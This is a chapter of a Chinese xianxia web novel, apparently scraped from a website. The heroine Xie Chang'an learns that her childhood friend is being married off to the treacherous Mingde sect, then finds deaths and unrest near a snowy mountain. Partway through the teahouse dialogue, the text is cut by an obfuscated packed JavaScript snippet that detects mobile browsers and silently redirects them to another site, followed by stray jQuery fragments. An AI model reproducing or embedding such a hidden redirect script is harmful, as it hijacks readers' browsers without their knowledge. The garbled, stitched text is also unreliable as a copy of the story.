60. 剧变

作品:《下仙山

    文夫人却是再也说不出话,掩面抽噎起来。


    文堂主眉头紧锁,片刻解释道:“锁妖塔结界破了……”


    谢常安:“锁妖塔好端端的……怎么会?”


    “上月初八,一道天雷降下,正中锁妖塔,千年妖兽逃逸。”


    “那……”


    锁妖塔中的千年妖兽,可不是一般的妖兽,饶是知春堂这种名门大派,想要妥善处理恐怕也是力不从心——难怪她来的路上看到海上阴风阵阵海浪滔天,难怪她一路走来知春堂里不见几人守卫!


    文夫人擦干眼泪:“墨儿……也不知所踪,只能委屈萱儿和明德宗联姻,嫁过去人家才愿意帮我们呀。”


    “联姻?”信息量太大,谢常安一时之间不知该问些什么作何反应,“她……要嫁给谁?”


    “明德宗大公子。”


    “沐子凛?”


    “是。”


    谢常安如遭雷击,从小一起长大的好朋友竟然马上就要大婚,嫁的人竟然就是沐念秋的哥哥,明德宗大公子——那个想要至他们于死地的怪物!


    听到这个名字,她心乱如麻,不可控制地想起了沐念秋,可他却再也回不来了。她不敢再想,迅速收敛住如潮水般痛彻心扉的情绪。


    “那怎么行!”谢常安拍案而起,沐子凛显然心术不正心狠手辣绝非良配,何况是眼下这种有求于人的情形,文萱嫁过去不被吃干抹净才怪,她怎么能眼睁睁看着自己的好朋友往火坑里跳!


    “文伯母,文叔叔,追杀我的人就是沐子凛,明德宗有大问题,萱萱绝不能嫁!”谢常安斩钉截铁道。


    “……”没人作声。


    谢常安:“萱萱呢?她去哪了?”


    文夫人叹气:“已经送她去沐家了,择吉日成婚。”


    谢常安哑口无言,还未成婚就先住到夫家,于公于私都难看极了,这得是多仓促着急,才能做出这样的安排!


    “知春堂守一方平安,锁妖塔若破,东海百年内必民不聊生,我知春堂就算举全堂之力也决不会坐视不理!沐家就算是豺狼虎穴她也得去,何况明德宗乃天下第一大宗,沐宗主执掌仙盟多年,沐公子更是一表人才,前途无量,她嫁过去就是少主夫人,沐家自然不会亏待她!”


    “不会亏待她?文堂主,您扪心自问,这和卖女儿有什么区别,东海的平安,知春堂的责任,为什么要她一人背负?凭什么牺牲她的一生幸福!”


    文堂主怒道:“谢常安!这是我文家的家事,看在沈仙师的面子上,我们愿意冒着风险收留你,但请你不要插手我文家的事!”


    谢常安收敛神色,垂目道:“对不起,我只是担心文萱,她毕竟从小和我一起长大。”


    “好了,都别吵了,有用吗?”文夫人愁眉苦脸,“安儿,你叔叔心情不好,说的话有点儿重了,你别在意。今天也不早了,你安心住下,外面的事我们来解决!”


    谢常安抬头直视文堂主,却道:“不必了文伯母,是我考虑不周给你们添麻烦了,我不该来的。”


    文堂主一挥袖子推门而出。


    屋里一时间只剩下谢常安和文夫人二人。


    静默片刻,还是谢常安先开口:“伯母……对不起。”


    “傻孩子,你道什么歉,是我们对不起你。”文夫人眼角泪光朦胧,转身从屋中收拾出了一个乾坤袋,袋里装满了吃的用的,各种法器琐琐碎碎。


    “你叔叔是看着你长大的,刀子嘴豆腐心,这些你路上拿着,千万小心保重,等你哪天……累了,想明白了,我们这儿随时欢迎你回来!”


    “我明白文伯母,堂里发生了这么多事,您们都不容易。”谢常安顿了顿,接过乾坤袋,接着道:“但是沐子凛真的不是好人,沐家水深得很,萱萱若真的嫁过去……”


    文夫人:“咱们修仙之人,食一方俸禄,得天地造化,自当护好一方百姓,以天下苍生为重,你师父是这样,我们也是如此。”


    “知春堂祖训——真正的刺客,要如春风化雨,无孔不入,不能泄露一丝一毫杀气,看起来人畜无害,才能给敌人致命一击。萱儿看似柔弱,但在我心里,她才是知春堂真正的传承者,此去明德宗委曲求全,实在是无奈之举,却未必不能有转机。”


    谢常安:“……我希望她过得好。”


    文夫人拉着谢常安的手,谢常安知道,文夫人做母亲的心里一定很担心,她和文堂主都知道,明德宗此举无异于趁火打劫,只要文萱在明德宗一天,他们知春堂就受制于沐家一天。


    可环顾四周,明德宗一方独大多年,知春堂想要在风雨飘摇为黎民苍生支起一片天空,想要保住百年基业不毁于一旦,与明德宗联姻是最好不过的选择。


    世事无常,谁又能事事顺心遂意呢?眼下她被仙盟通缉,不论在哪都是个大祸患,实在不适合留在知春堂。


    从西南到蜀中,从江南到漠北,死了那么多无辜的人,她身边有一个巨大的漩涡,所有和她有关的人一个又一个都被裹挟着卷入其中,她自己也不例外。


    事已至此,她要有人付出代价。


    文夫人:“那你呢,你打算去哪?你师兄们都不在了,你一个人在外面,能做什么呀?”


    “我要救人。文夫人,可以给我一样东西吗?”


    -


    一个月后。


    雪山下,一家茶楼内,一人正坐在窗边。


    此人一身布衣,风尘仆仆,腰间悬挂一枚乾坤袋,身形利落,应当是哪家在外修行的修士,五官平平,却也算清秀,一道细长的刀疤横贯额角,破破坏了这张脸的美感,眉目间似有化不开的风霜和忧愁。


    遥遥可见霞光映着玉暇雪山,熠熠生辉,宁静祥和。


    那人举起茶杯一饮而尽,“二两牛肉,一壶酒,打包。”


    店小二没料到此人一开口竟是女声,略吃了一惊,愣了一秒,“好嘞!”


    “真惨呐……”


    “没想到……世事无常啊……苍翎门……”


    “上官门主……蹊跷……说不准……”


    “劳驾问下,从这里去苍翎门怎么走?”


    “呃,您……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086853|187170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “怎么了?”


    “没什么没什么,您是要去苍翎门?”


    “是。”回想起刚才的只言片语,“苍翎门是出什么事了吗?”


    店小二闻言略凑近了些,低声道:“可不是,”旋即一阵鬼鬼祟祟的左顾右盼,“苍翎门上官门主,死啦!他一家子都死差不多啦!”


    苍翎门也出事了?


    刀疤脸脸上露出讶异的表情,“什么时候的事?”


    “唔……上个月吧,也没几天呢。”


    “死了?”


    “多嘴问您一句,您是修仙的吧?能别去就别去了,现在苍翎门乱着呢!”


    “那现在谁当家?”


    “大人物的家事,那可不是我们这些平头百姓知道的事了,只要能过日子,谁都一样!”


    “小王,又偷懒!天天就知道唠闲天,活都干完啦?”


    “好嘞好嘞,来啦!”店小二匆忙留下一句“您先吃着!”就乐呵呵地赶忙跑走了。


    刀疤脸拎起牛肉和酒,站起身,眉头皱了皱,心里不知盘算着什么。


    她心事重重地往雪山走,没留神被脚下一颗石子绊到。


    一抬眼,路边一间神女祠静静伫立。


    神女祠内供奉着一尊木制的神女雕像,雕像栩栩如生,神女脸上挂着和煦的微笑,散发着普度众生的光辉。


    刀疤脸走近神像,随手从路边摘了朵野花插在供桌。


    “神女大人,您真的能帮我吗?您普度众生,还顾得上我这种倒霉的蝼蚁吗?”


    神女仍是微笑不语。


    “我从小听你的传说长大,人们敬你、爱你,把你当作精神寄托,可说到底,也没有人真的见过你。你高高在上,不食人间烟火,真的能看到我们的痛苦,愿意解救我们的苦难吗?”


    “那为什么人生多苦,生老病死无一幸免。我一路走来,触目皆是疾苦。”


    刀疤脸虔诚一拜,“神女大人,你如果真的能听见我说话,就帮我这一次吧!我什么都不要了,我只希望……善良的人得到好报,无辜的人幸福一生。”


    出了神女祠,走出不远,雪山已近在眼前。


    道边零星几户人家,一辆牛车陷在雪地里。


    刀疤脸上前顺手推了一把。“老人家,您慢点……”


    “谢谢,谢谢啊……”


    赶牛车的老大爷头发已花白,正忙不迭道谢,话没说完,突然间,一个跟头直挺挺地栽倒在地。


    一切发生的毫无预兆,刀疤脸甚至来不及扶他,“大爷,您怎么了?”她赶忙蹲下身,一探,那大爷竟已经没气了。


    刀疤脸愕然,好端端的一个人就这么死在她面前,她竟然毫无察觉,什么东西能有如此手段,杀人于无形?


    她握着那老人家的手输送了一阵灵力,发现毫无作用,已是无力回天,只好将老人的遗体安放好。


    街上弥漫着一股难言的氛围,肃杀、死寂、不着痕迹。


    像是感觉到了什么,她慢慢抬起了头。


    一个无形的漩涡笼罩在玉暇雪山上。